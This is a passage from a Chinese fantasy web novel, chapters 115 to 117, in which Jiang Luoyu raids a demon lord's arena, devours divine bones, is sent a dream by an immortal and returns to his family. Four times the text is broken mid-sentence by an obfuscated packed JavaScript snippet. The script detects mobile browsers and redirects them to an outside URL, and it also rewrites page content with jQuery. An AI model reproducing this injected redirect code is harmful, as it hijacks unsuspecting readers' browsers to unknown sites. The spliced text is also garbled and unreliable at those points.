“回来!”墨危楼瞳孔地震,抬手阻拦。 这领域是他结合上古神器炼制出来的斗兽场,剩下一半儿人才能主动打开,就连他也无法违背自己下达的指令。 可跑出去的青年像是一阵风,轻而易举地融入进了黑雾中。 领域内,尸山血海。 魔族向来不缺恶趣味,墨危楼在领域里养了一堆吃人肉长大的魔兽,数量庞大但修为很低,专门用来恶心被关进去的“斗兽”。 姜洛玉踏入斗兽场的刹那,就被暗处的厮杀的人盯上了。 新来的“斗兽”看起来没有丝毫还手之力,他的不请自来占据了死亡的名额,却不是总人数的一员。 厚重的杀意伴随着血腥气飘来,利爪闪烁的寒光干扰了前进的路线。 姜洛玉脑中浮现出领域的规则,电光石火间后仰堪堪躲过攻击。左腿一扫,踢在了坚硬如铁的腿骨上,调动魔气顺势拍出一掌,只听“轰”得一声,牛头人面还流着血的魔君飞了出去。 下一秒,几乎与环境融为一体的绸缎卷了过来,眼看着就要碰到脖子,姜洛玉反客为主一把抓住绸缎! “快!” 神界雏形瞬间支棱起来,使劲吸收着绸缎里的宝气。 一息未过,没了“宝气”的绸缎品阶跌落到废品,成了碎片随风散去。 血河城城主喷出一口黑血:“我的本命法宝!” 心疼片刻大喝一声,五指成爪,眼看着就要掏向姜洛玉的心口。与此同时,厚土城城主悠悠转醒,冲向两人所在,势必要报复刚才的一腿只仇! “噗嗤”两声过后,比两魔动作更快的,是姜洛玉后背破体而出的两根生姜苗。 本该柔弱无骨的嫩叶染上了紫红的魔血,最顶端的两片叶子间还夹着着巴掌大小的不规则晶体。 绝境总是能激发人的潜能,姜洛玉顿悟了如何使用神界雏形还没消化的神骨之力,那力量隐藏在遗骨里,若非神界雏形炼化,一般人是察觉不到里面的能量的。 而且这么一来饥饿感消减不少,顺带彻底加深了和神界雏形之间的联系。如今他们两个进阶为一根绳上的蚂蚱,一荣俱荣、一损俱损。 神界雏形对此倒是没什么感觉,毕竟以姜洛玉现在的肉身强度,不被神骨的力量撑死已是万幸。它正通过姜苗贪婪地吸收着魔核里精纯沉淀后的魔气,挑出来的杂质直接扔到了地面两具死不瞑目的尸体上。 姜洛玉用袖口轻轻擦去脖颈上迸溅到的血,脸颊泛着淡淡的红晕。 四下再无人。 “带我去找神骨。” 神界雏形听话地开始指路,一路上无论遇到的是魔兽还是叛变的城主,全都被生姜苗串成了糖葫芦。 傀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331100|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儡死得最惨,它察觉到姜洛玉觉得这人很恶心,直接五马分尸。 主仆二人所到之处寸草不生,堪称斩草除根的最佳案例。 至于那些临危受命的城主,全都敲晕了吊在上面,远远看去像是一堆风干的腊肉。 眼看着前方又出现了个叛徒,姜洛玉把人敲晕避免领域解散,确认领域里再没有漏网之鱼才继续赶路。 杀了不知道多少魔兽,终于看见了标志性的圆形地砖。 那股令人欲罢不能的香味儿更浓了。 姜洛玉严肃发问:“神骨对你来说,到底意味着什么?” 神界雏形甩人的动作一顿,隔了几秒老实道:“没有神骨……我一辈子只能是个雏形。” 合情合理的解释,在姜洛玉的预料之内。 他蹲下去摸了摸地砖上的花纹:“那你到底需要多少东西,才能彻底自成一方世界?” 神界雏形:“我不知道。我只知道我现在需要神骨,越多越好,其它天材地宝反倒不重要。” 塞牙缝都不太够。 不过这句话它不敢说。 姜洛玉敲了敲地板。此等“吞天噬地”的进阶方式过于奇葩,虽说神骨是神族神殇才会留下来的东西,就算里面蕴含着巨大的能量,恐怕除了神界雏形也没人能用,不然幕后之人早就掘地三尺了。 但对神界雏形来说……绝对不只是能让它自成世界这么简单。 更何况从刚才看来,神界雏形对他的影响很大。现在就能让他几乎失去理智,之后呢? 神界雏形感受到姜洛玉的迟疑,弱弱道:“我不会害你。” 泛着淡粉的指甲插进地砖,轻而易举捏碎了土地最后的屏障。 “我知道。”姜洛玉说着,开始调动体内魔气精准打击,“希望你记住今天的话。” “轰!” 地面炸开了十几米深的深坑,有鼻子有眼的骷髅出现在坑底。 领域瞬间安静到极致,听不见一点魔兽的嘶吼。 在这种诡异的寂静下,姜洛玉反倒生出一点心安,纵身越进深坑,把手伸向骷髅—— “嗬、嗬。” 短促的气音从骷髅内部响起,姜洛玉果断收手。 “咚。” 金色的骷髅头滚到了青年的皂色长靴边,幽深的眼眶里似乎悬浮着两撮永不熄灭的焰火。 祂看着青年蹲下身子,神色柔和地捧起祂的脑袋,似乎马上就要咬破指尖献上自己最珍贵的……魂魄。 “咔嚓——” 伴随着令人牙酸的摩擦声,金色骷髅在生姜苗的碾压下碎了一地。 姜洛玉揪着尖叫不断的魔神残念,团吧团吧也一并喂给了神界雏形,自言自语道:“也不看看你爸爸现在buff叠满,还想夺舍?喂狗去吧。” 人在屋檐下不得不低头,神界雏形一边嚼着残念一边吸收着神骨,抽空“汪”了两声。 毕竟它能感受到姜洛玉现在因为过度使用神力状态很糟,具体表现为脑子不太好使。要是把炮火集中到它身上就糟了。 姜洛玉捂了捂有些发晕的脑袋,灵机一动:“你这么能吃,叫你口口算了。” 神界雏形:“……你开心就好。” 串好最后一个“山楂球”,黑雾终于散去。 姜洛玉对着神色复杂的墨危楼比了个“OK”的手势,倒在了废墟里。 115.穿越第一百一十五天 一场成功的篡位往往预兆着新统治的开始。 可惜魔界这些人还是低估了魔尊的实力和底蕴。没等底下的城池被剩下的城主领着造反,魔尊的死士就冲进城主府擒贼先擒王。 对于其他依旧有异议的知情者,全都杀了扔回无尽血海重新做魔。 “尊上的十八死士不是在魔神殿候着,怎么这么快就到了各个城池?”姜洛玉端着药碗咳了咳,等着坐在床边真正的右护法回复。 这是他醒过来的第一天,也是寿宴后第七天。 当时他一睁眼就看见了黛青,险些以为墨危楼背信弃义要杀他灭口,好确保混血的秘辛不会传出去。 好在黛青只是医者仁心,按照墨危楼的吩咐特意过来照顾他,刚准备掰开他的下巴把药倒进去。 黛青听罢,摆弄草药的手不小心捏碎了一颗药果,因为汁液的毒性,寡淡的脸变得更加惨白。 她有些费解:“因为尊上一共培养了三十六死士啊。十八个在魔都,另外十八个修为更高的派去了各个城池注意那些城主的动向。” “不过伴月城那个,还是你说了之后尊上才发现那人已经死了,本命灯和按时汇报的来信都是白川制造的假象。如今的伴月城,城主府早就人去楼空,不知道逃到哪儿去了。” 姜洛玉:“……” 果然是能稳坐魔尊之位十几万年的魔,这三十六死士怕不是刚上任就开始培养了。 他虚弱地点了点头,反复三次端起药碗,看着里面漂浮的形状奇异的药渣终究没喝下去。 无形从床尾跑到了床头,蹭了蹭姜洛玉的手腕。 “黛青姐姐,能不能换成丹药?” 黛青:“不行,丹药效果没汤药好。” 或许是破格使用神力的后遗症太过,姜洛玉脑子依旧昏沉,很久都没如此惆怅。 心一狠,把药碗递到了肩膀趴着的生姜苗面前:“你喝。” 神界雏形:“……” 它不甚在意地把姜苗插进黑乎乎的药汁—— 比得上在烂泥堆里腌制了八十八年的腐肉的气味儿直冲天灵盖,姜洛玉和生姜苗同时三魂出窍。 神界雏形:“难难难……难喝死了!” 黛青“噗嗤”笑了一声,收走药碗,嘱咐道:“尊上说,让你醒了给那位回个消息。” 虽然不知道那位是谁,不过根据墨危楼的表情她能猜出,应该是“不可说”的那个。 “好。”姜洛玉生无可恋地躺了回去,摸到枕边的传讯器。 春花境,岁寒天。 仙界每一仙境都有四大洞天,每一洞天都会由一位仙君管理。 管理岁寒天的仙君名为长风,本体为一株盘龙松,为人亲善,追随者无数。 此时此刻,仙灵园内风雨交加。 清河仙君刚踏进来就被冷雨从上到下浇了个透心凉。 “我的仙植!” 微微驼着背的老人跑向种植在夏域里的仙植,对着雨神痛心疾首:“都说了要下热雨,你到底在干什么?” 雨神不好意思地揉了揉鼻子,闷闷道:“抱歉,我——阿嚏,我得了风寒。” 清河仙君:“……” 火神立在一旁沉思片刻,打了个响指,脑袋大的火球顿时飞到夏域上空,开始尽职尽责地散发出太阳的光辉。 风神抬手送出一阵微风,吹走了仙植上的水汽。 清河仙君无语凝噎。 “仙君,这是您要的相思明月红。” 冷冰冰的声线从身后响起,清河仙君总算有种“得救”的感觉。 他一把接过长着九个花骨朵的仙植,对着眉目疏离的男人道:“快把这几个活祖宗带走,我不用他们帮我照看仙灵园了!” 男人神色不变,点头后走向夏域里的几人。 长长的青丝半披,仅用一根玉簪固定。玉簪的形状很是奇特,似乎是某种植物的根茎,簪首还雕刻着几朵簇拥在一起的小花。 “请。”男人做出来一个请的手势,语气带着不容拒绝的强硬。 雨神上下看了半天,最终“嗯”了一声,火神半个眼神都没给男人,倒是风神对着男人念念有词。 “越来越……” 最后两个字隐没在无处不在的风里。 离开仙灵园前,火神脚步一顿,回头道:“你一会儿打算去哪儿?” 正在检查幼苗的男人抬起头,黑沉沉的眼睛没有丝毫温度,似乎比刚才的冷雨还要凉。 “我……”他说,“我去闭关。” 离开仙灵园,三人十分默契,没人说话。 七拐八拐路过无数堆砌着繁花的宫阙后,三人停在了朱红古朴的大门前。 这是一座外表看起来很正常的宅子,花树的高度和数量恰到好处,简直是春花境里的一股清流。 “笃笃……” 火神吊儿郎当地敲响了大门,眸子里跳跃着火光。 大门应声而开。 “怎么这么快就回来了?”花神坐在吊着秋千的花树下望向来人,“你们不是去监视药辛的吗?” 风神:“出了点差子,不过能得出结论。” “我们不小心把清河老头的仙灵园弄得一团糟。”雨神吸了吸鼻子,身侧荡漾着不受控制的神力。“就被赶回来了。” 花神:“……” 没等花神对三人此行做出评价,花树旁突然冒出一道光门。 离昼拿着传讯器走出,问:“林道友和姜道友呢?” 花神:“他们两个去岁寒天的仙兽园捡漏去了。” 仙兽园每过一千年就会放出一批生机微弱的“死蛋”放在地摊上买卖。这些死蛋的品阶徘徊在下三品到中三品不等,基本上都是破壳无望的。 但谁也不敢打包票。上次卖死蛋,有个上仙修为的仙修当众开出来了一只潜力在仙君级别的八品六翼皇鸟,导致那仙修离开后,死蛋的身价也跟着涨了不少。 “捡漏,是那些死蛋么?离昼叔,你快去把爸妈他们找回来!” “那次的六翼皇鸟是仙兽园的园主搞出来的噱头,用三翼皇鸟的死蛋改造的,拿到手没几天就死了。” 众人;“……?” 离昼丢出传讯器,一道水镜从巴掌大的屏幕上挤了出来。 水镜里是许久不见的青年,背后能看出来是个奢华的寝殿,没缺胳膊少腿,就是脸有些白。 姜洛玉先是对着在场的雨火风花四神打了个招呼,继续说:“一千年前开到皇鸟的是我。皇鸟死后我才发现端倪,刚想去讨个说法,仙兽园园主的赔礼就送到了药辛殿。” 仙兽园园主心肠黑得很,那些死蛋原本就孵不出来东西,非得废物利用求个利。 风神对待姜洛玉的复活没有丝毫震惊,反倒松了一口气,自告奋勇:“我去找令堂和令尊。” “你……阿嚏,你怎么活过来的?”雨神震惊得鼻子都通气了。 三百年多年前,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339984|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人分明消散在了天劫之下,实打实的遍寻无果。 姜洛玉笑着摇了摇头:“机缘巧合而已,过几天我就能回春花境了。” 隔墙有耳的道理谁都懂,特别是这传讯器里还有魔尊的神魂。 所以从见到离昼开始,两人就没谈论其他敏感的话题,只是简单叙旧。 姜洛玉告诉离昼自己这三百年过得很好,没有受苦,同样也得到了对面一切安好的回应。 离昼说,他们一直在等他回家,在他最初诞生的地方。 是仙灵园。 胸腔猛地抽疼起来,姜洛玉深呼吸两下,匆匆告别挂断传讯,歪头咳出混杂着内脏的血块。 淡绿的生姜苗接住内脏碎块,没几下就吸食殆尽。 姜洛玉:“……” 这一幕已经可以打成猎奇了。 神界雏形悄悄爬回了姜洛玉的肩膀,假装刚才的不是自己。 “快去炼化神骨。”姜洛玉颓丧着倒在床上,“你不是说炼化完毕我身上的后遗症就能消失吗?” “其实……”神界雏形小心翼翼道,“已经炼化完了。” “你刚才咯血是因为炼化太快,肉身强度不够,所以得躺几天修复。” 姜洛玉:“……” 三天后。 墨危楼便成了一副健硕男人的模样站在传送阵旁。 他盯着在互市商队里走来走去的青年,最终还是把人叫了过来。 “尊上,您还有什么事吗?”姜洛玉嘴里叼着草根,平平无奇的脸上长满了雀斑。 他记得自己已经辞行完毕了。 墨危楼:“帮我转告他,我欠他的没能还清,有什么需要尽管开口。” 姜洛玉“好”了一声,跳上了商队装着货物的魔兽背上。 长着獠牙的巨象走路很稳,他靠在不知道装着什么的箱子上,看着墨危楼的身影逐渐远去。 “希望下次见面……不会是敌非友。” “轰隆——” 春花境再度迎来了全范围的降雨。 细如牛毛的雨丝“哗啦哗啦”打在无处不在的花树、花丛上,到处都是花香,惹得姜洛玉打了个喷嚏。 这一下倒是让他脑袋清醒不少,看清楚头顶七彩霞云,才后知后觉周围根本没有灵花存在,都是些泛着光的云雾。 商队到了幻生境,而这里面的云雾吸多了会有致幻作用。 姜洛玉果断闭气,又在绕了一层薄薄的护身结界,势必不让这无处不在的雾气没有可乘之机。 一月一次互市的地方不固定,若是想直接到春花境,按照顺序他还得再等一个月。 架不住他归心似箭,能从床上爬起来就跟着互市的商队去了仙界。 神界雏形好奇地碰了碰飘过来的彩色云雾,顶端的叶片悄悄裂开长满尖牙的嘴。 “吃了小心闹肚子。” 姜洛玉伸出两指,捏住那张已经吸了一缕云雾的嘴,硬生生把云雾拽了出来:“幻生境多迷梦,你要是不小心吃了它醉死在梦里,我可救不了你。” 迷梦是幻生境特有的仙兽,外表和幻生境常年存在的云雾没有任何区别,被吸进身体就算倒霉。 神界雏形被姜洛玉故意放轻的语调吓得抖了抖,老老实实缩回丹田。 这边商队的领队已经看见了阵法的出口,随即加速前进。 姜洛玉聚精会神,在商队踏出阵法刹那切换仙道,催动功法,与那满境云雾化为一体! 116.穿越第一百一十六天 “互市令牌拿出来。” 坐在阵法旁边的男人眉梢都带着傲气,说这话的时候活脱脱鼻孔朝天。天仙三转的修为中规中矩,看个大门倒是绰绰有余。 姜洛玉当初吞噬天材地宝稳固到的仙道修为在真仙一转,在天仙之上。这会儿更是加持了神界雏形被鞭策出来的降低存在感的能力,明目张胆地流动到男人身前晃了晃,甚至放出来一丝气息。 见男人没发现自己,骂了句“酒囊饭袋”,便随波逐流奔向远处。 破开传送阵笼罩的领域,高耸的楼阁如镜花水月,透着股不真实的荒诞。 长街入口摆着的巨石上刻着几个字——“醉梦天”。 醉梦天是幻生境四大洞天之首。打眼就能看出来这里的建筑布局没有丝毫规律,甚至还能看见重叠在一起的高阁。 街上行人不多,零星几个全都行色匆匆。 据传,掌管着幻生境,但从未露过面的那位夕林仙帝,本体就是一场如梦似幻的美梦。 姜洛玉在云雾里滚了几圈,见到现在为止他没被法则弹出去,说明其承认自己仙界“仙修”的身份。于是开始考虑怎么去春花境。 通常情况下有三种选择。第一,乘坐传送阵,但这个要等人,幻生境又是出了名的人烟稀少,能在常年迷梦侵扰下醒着的也没几个,估计要等很久。 第二,乘坐飞行仙器。除了自备还可以租赁,就是价格昂贵些。 至于第三点肉身强渡,姜洛玉压根没考虑。以他现在的修为,每个仙境之间的风刃和乱流眨眼间就能把他切成臊子。 好在临走前墨危楼给了他一袋子极品仙晶,足够让他租赁仙器回到春花境。 变成人形走了半天,离远就能看见三喜法宝阁的匾额在云雾里若隐若现,连带着上面喜气洋洋的小人也失去了原本的标志性。 “前辈,租一架单人飞行仙器。” 即将入梦的掌柜一激灵,睁开惺忪睡眼摸出一叶扁舟:“三千极品仙晶押金,每租赁一天二百极品仙晶。” “涨价了?”姜洛玉递过去数量正好的仙晶,“我记得之前一天才一百。” 掌柜:“你小子闭关几百年了?都涨价好久了。” 姜洛玉微微一笑,催动功法:“确实闭关了很长时间,看来仙界这些年变化不少。” “不知前辈……可否为我讲一讲仙界这些年的变化?” 掌柜本来想把这问东问西的聒噪来客直接赶走,话到嘴边,又觉得对面人格外熟悉,让他混沌的识海里浮现出一张又一张故人的脸。 修仙得道的路上,到最后往往十不存一。他是下界的“天骄”,在泥沼中挣扎着成仙,好不容易在仙界过上了安稳的日子,却又失去了曾经的热血。 仙者寿命悠长,可与天争,亦可顺从天意。 没见到姜洛玉之前,他已经决定在幻生境长眠了。 可现在……掌柜却罕见地升起一股想要问天再借五百年的冲动。 神界雏形:“他怎么看起来怪怪的?” 姜洛玉默默收起功法:“不知道,看来问不出什么东西,还是先走为妙。” 指尖刚碰上木舟边缘—— “且慢。” 只见柜台后方的干瘦老人气势节节攀升,长相也变得鹤发童颜,眨眼间就到了仙君修为。 姜洛玉错愕地把手放了回去。 “老夫苍正,乃是统管这醉梦天的仙君。”苍正仙君捋了把长直的胡子,“小友助我堪破梦魇,我便送小友一场美梦。” 姜洛玉连忙拒绝:“多谢,不过我赶时……” “哗啦——” 没有丝毫防备,整个人坠入了深海。 深海没有光,只有漆黑和无穷无尽的沉重海水。他奋力划拉却只能原地转圈,笨拙得像只失去了鱼鳍的海鱼。 “吃吃?” 神界雏形没有任何回应。 可以确定现在的一切都是梦,但姜洛玉根本不知道苍正仙君嘴里的“美梦”是个什么。众人都对在幻生境的经历讳莫如深,就连关于幻生境的记载,上面除了迷梦仙兽,也没什么其他东西。 于是姜洛玉决定原地摆烂,随着海水的起伏随波逐流。 不知道过了多久,不远处亮起了一道白蒙蒙的光。 姜洛玉猛地掌握了对肢体的控制权,虽然划水的动作依旧丑陋,但好在能够前进。 离得近了些,他能看见白光里跪坐着一道模糊的人影。再近些,他看清了人影的长相。 是丛明雪。 银发神君被十几道铁链锁在白光里,锁骨处开着碗口大小的血洞。鎏金的神血沿着伤口涌出,打湿白色长袍,最终在地面蜿蜒成了一条金色长河。 “阿雪!” 垂着头的人没有任何反应。 姜洛玉顷刻间无视阻力冲了上去,想救出被禁锢的人,却被如有实质的海水弹开。 似乎失去生机的人动了动脑袋,露出一双印满血色符文的眼。 那双原本翠绿的、充斥着生机的瞳孔灰败死寂,只有流转的符文不时散发出淡淡金光。 姜洛玉心如刀绞。 “怎么救你出去?!” 他听见自己吼着。 又模糊了几分的人影摇了摇头。 人影消失前,他看见那双沾满了血迹的手微微抬起,指了指更深的海底。 “小友,该醒了——” 冰凉的水珠打在眉心,姜洛玉一下惊醒,梦见了什么不得而知,只记得那股浓得化不开的悲伤和心悸。 “仙君……”他揩下眼角不自觉溢出的眼泪,“你怕不是在框我,这可不像是个美梦。” 苍正仙君摇了摇头:“一切诸报,皆从业起。一切诸果,皆从因生。”* 说完抬手做了个抓取的动作,一只圆滚滚的白团子从姜洛玉的耳朵里钻了出来。 “这是仙帝给我的迷梦之子幻梦,它能给所有人带去……‘美梦’。” 最后两个字咬得格外清晰,生怕对面的青年听不见其中差别。 姜洛玉心跳快了几拍。 他刚要再度行礼,却见对面的鹤发老人失去了踪影,柜台上留着一只栩栩如生的法宝仙鹤。 “区区飞行法器,老夫送你了。” 姜洛玉失笑着打开装了仙晶的袋子,果不其然,里面的仙晶数量直接翻了几倍,还堆了几堆适合他这个修为使用的仙器。 比起这些东西,更宝贵的……是刚才的梦,可惜梦醒过后不记得内容。 但姜洛玉可以肯定,这梦对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346145|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有大用处。 成功认主仙鹤,大鸟伸着脖子夸张地长啸一声,煽动着翅膀直奔春花境的方向飞去。 幻生境和春花境之间还隔着个云渺境。穿过界膜,仙鹤的翅膀霎时扩大了不只一倍,罩住姜洛玉的瞬间又生出来第二对翅膀。 头顶双翅自成结界挡住了外界的乱流和风刃,姜洛玉拽住想出去尝一尝乱流的神界雏形,生出自己养了一只狗的错觉。 “你在不安。”神界雏形被抓包后故作老成,又问,“为什么?马上就能见到家人、朋友和爱人,有什么不安的?” 姜洛玉:“因为我记起来,当初留下的遗书里面……还有无聊写的日记。” 神界雏形:“……?” 姜洛玉:“日记写了我从意识到自己快死了,到接受事实的心路历程。” 事无巨细,完全三百六十度无死角。 他不是什么圣人,最开始知道自己会死,私底下偷偷崩溃过好一阵,怨天怨地怨幕后之人,恨不得把白卅挖出来鞭尸。不过丛明雪那段时间几乎无时无刻陪在他身边,搞得他只能半夜偷偷抹眼泪。 被枕边人发现,只能找借口说是因为后遗症疼得受不了。 后来离死期越来越近反倒释然了,死不了的“预感”笼罩在他头顶,连带着日记里的语气都欢快上不少。 就是棋差一招,原本打算把日记一把火烧掉,结果脑子一抽忘了自己写过日记,把那些都当成了遗书塞给无相球。 神界雏形:“自作孽,不可活。” 姜洛玉:“……滚回去,没我的允许不准随便出来。” “咪?”无形探出脑袋,对着青年柔柔叫了一声。 姜洛玉撸了把猫头,心情好了不少。虽然不敢想至亲看见那些日记会有多崩溃……但该面对的总要面对。 按下全速前进的按钮,望着被无意识掐破的手心,最终叹了一口气, 半日后,终于抵达了仙灵园。 近乡情却这几个字被完美诠释,姜洛玉站在仙灵园大门外踌躇不进。 守门的上仙看了半天,提醒道:“前辈,再不进的话仙灵园要关园了。” 姜洛玉这才如梦初醒,连忙走了进去。 “奇怪……怎么看不清那人的脸。”守门的上仙打了个哈欠。 仙灵园内一切如旧,姜洛玉直奔清河仙君一般待在的秋域而去。 离昼暗示他来仙灵园,那么说明清河仙君没有问题可以信任,必然会知道他们落脚在何处。 秋域的凉亭空无一人,姜洛玉“嘶”了一声,看来他来的不是时候。 清河那老头估计又去找酒友喝酒了。 “仙君出去了,一会儿回来。” 冷淡的男声从身后传来,姜洛玉转过头,对上了一张陌生的脸。 男人穿着一身灰袍,长眉入鬓,黑眸深邃,五官硬朗但透着股冷漠。修为在地仙二转。 姜洛玉没回话,对着男人小心翼翼地露出了下半张脸。 下唇的红痣艳得像是一滴血,对面人的目光只在上面停留片刻,随即移开了视线。 “我还有事,请自便。” 姜洛玉看着男人远去的身影,第一次怀疑了自己的直觉。 这人……难不成不是丛明雪? 117.穿越第一百一十七天 秋域开始下起了淅淅沥沥的雨。 这雨是灵雨,作为一棵植物,打在身上的感觉对姜洛玉来说很舒服。他望着男人隐没在茂密仙植里的身影,抬手摸了摸左耳的耳坠。 耳坠、或者说是情丝,在面对男人的时候没有丝毫反应。 大概……真的是他弄错了。 “喂,小子,没找到想要的仙植?” 满身酒气的清河仙君落到长身玉立的青年旁边,自来熟地拍了拍青年的肩膀。 “我这仙植园里应有尽有,就是魔界嫁接的那些灵植也长了不少。”清河仙君眯了眯眼睛,有些奇怪怎么看不清青年的脸。 “你想要什么尽管开口,找不到我免费送你一株别的。” 姜洛玉侧头卸下所有伪装,感慨道:“仙君,别来无恙。” 清河仙君:“你……?!” 刚喝下肚的陈年烈酒带来的飘飘然瞬间消失了一干二净,他捏着姜洛玉的肩膀,像拎小鸡崽一样把人带到凉亭里展开结界,隔绝了外界的窥探。 “你不是去渡劫了吗?这么快就渡完了?”清河仙君给自己倒了一杯茶,“风神说今天会有故人归来,我还以为……” 姜洛玉:“以为我渡劫失败魂飞魄散了?” 清河仙君:“怎么可能?我是以为风神在骗我,老夫活了这么多年,还没见过像他那么蔫坏的。” “如今药辛殿无人,你是过来问我神君在哪的吧?” 姜洛玉:“这事不急,人就在那儿,什么时候都能见。我来是为了从您这儿了解点东西。” 回去问离昼他们,大概率报喜不报忧,他需要从旁人嘴里知道些较为客观的现实。 “我知道的其实也不多,你若是真想听,那就听吧。”清河仙君心下了然,指挥着花精端来沏好的茶水,眼睛望向远处,陷入了回忆。 “大约三百年前的一个夜晚,我正在此地独酌。月上中天时仙灵园内风云巨变,电闪雷鸣,还以为是哪个仙植得了机缘要化形,没想到等雷声过去,地面趴了五个人。” “我虽没见过雨火风花四神,却认得药辛神君。见他们身上带着天雷留下的伤口,就用园内的仙植先替他们简单处理了一下。” “仙君,你不怕吗?”姜洛玉说着端起灵茶嗅了嗅,半透的茶液散发着阵阵幽香,“一位神君,四位神族被天雷重伤,还莫名其妙出现在仙灵园里……怎么看背后都有阴谋诡计。” 清河仙君:“说不怕是笑话,但神君曾经于我有恩。我本来以为这辈子都还不上这份恩情了,倒是赶巧。” 姜洛玉:“我怎么不知道?” 他化形后在仙界的五百年里没少来仙灵园,从未听清河仙君讲过。 “报恩这事挂在嘴边反倒虚伪。”清河仙君说,“总归我救了他们,又发现几位体内的神力虚浮,就连气势也消退不少。” “等他们醒过来,我知晓他们不好暴露身份,便在离春花境不远处买了座宅子供他们居住。神君还时不时会过来为我打理仙植。” “神君?”姜洛玉猛地起身,“他现在伪装的时候用的是什么模样?” 清河仙君:“长相中规中矩的俊朗男人,不过……” 姜洛玉:“宅子在哪?我现在就过去。” 清河仙君:“菡萏街尽头,有朱红色大门的宅子,但是——” 对面的人如同一阵风,瞬间消失在眼前。 “可神君几天前就闭关了。”清河仙君摇着头给自己倒了杯滚烫的灵茶,“这小子真是的,刚才还说不着急。” 菡萏街位于仙灵园东北方向上。 在春花境,有钱的仙修往往都会买上一座宅子当作常住的地方,刚飞升的上仙基本上都是住在……路边随机刷新的花骨朵里。 能住人的灵花是春花境特产。优点在于安全,缺点是位置不固定,可能打坐之前还在岁寒天,出关的时候就到了日及天。 掠过街景无数,朱红大门近在咫尺,姜洛玉的心跳越来越快。 他抬了抬手,又放了下去理了理稍显凌乱的衣服,最后在门上敲了两下。 “笃笃——” 大门轰然而开。 姜家、三清秘境众人还有重获神格的十几位神君逆着光站在门后。最前面的是林朝盈、姜景安和迦南月三人。 三百年故人依旧。 思念此前无声无息,这一刻又变成了波涛汹涌。 没时间多想,赶在众人动作前,姜洛玉上前两步,“噗通”一声跪到了地上。 “不孝子……回来了。” 身着一身亮银色氅衣的青年规规矩矩磕了下去,长发披散,身上流露出隐隐威压。林朝盈三人一时间竟无法行动,其余众人在青年磕头前就退到了两侧。 落英缤纷,青年的头顶、后背、衣袖都落满了指甲大小的花瓣,三声响头过后,几人终于能够自由动作。 林朝盈冲上前去一把扶起姜洛玉,用袖子擦着他脸上和尘灰混杂在一起的泪。 “回来就好,回来就好……”她说着说着红了眼睛,“妈妈以为你……” 她以为姜洛玉永远也回不来了。 姜洛玉鼻尖一酸:“妈……” 姜景安递给姜洛玉一条手帕,也被泪光模糊了双眼:“老幺,欢迎回家。” 看见遗书后酝酿了三百年的冲动,在看见幺子归家时消失得一干二净。 姜洛玉接过手帕,看向和三百年前比起来成熟不少的姜景安:“谢谢……” 迦南月摸了摸姜洛玉的头,恍惚间看见了姜国那个一见到她就会露出笑脸的孩子,声音同样哽咽:“傻孩子,谢什么谢,你下次别这么冒险我们就谢天谢地了。” “娘我……”姜洛玉不知道该说些什么。 他想说的太多了。想问这些年大家过得怎么样,想问幕后之人有没有再对他们动手……最后千言万语只汇聚成了一句对众人的承诺:“我下次不会这么做了。” 真要做的话,起码得保证不会像这次这样出现这么大的纰漏。 “就算是真要冒险,也得知会我们一声。”姜林廷心中五味杂陈,面上硬邦邦道,“英雄主义不可取。” 姜林飞抱剑上前,拍了拍姜洛玉的肩膀:“大哥说的没错,有什么问题大家一起解决。” 姜林琬背着长刀揉了揉姜洛玉的脑袋:“若是真解决不了,还能一同面对。” “主人主人!”无相球不知道从哪个地方钻了出来,连带着玄衣剑一起扑向姜洛玉。 神界雏形:“……?” 它居然不是唯一的狗! “砰”得一声,无相球被无形的屏障弹飞出去,镶嵌在墙上好不凄惨。 无相球:“嘤……” 玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350876|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣剑:“……?” 它暂时还是不过去的为妙。 姜洛玉在众人惊愕的目光下淡定走过去,把无相球抠出来温柔的擦了擦灰,对着丹田黑着脸骂道:“别逼我当着大家伙的面抽你。” 神界雏形瞬间装死,不再阻拦无相球和玄衣剑。 姜洛玉:“等下没人我再好好收拾你。” 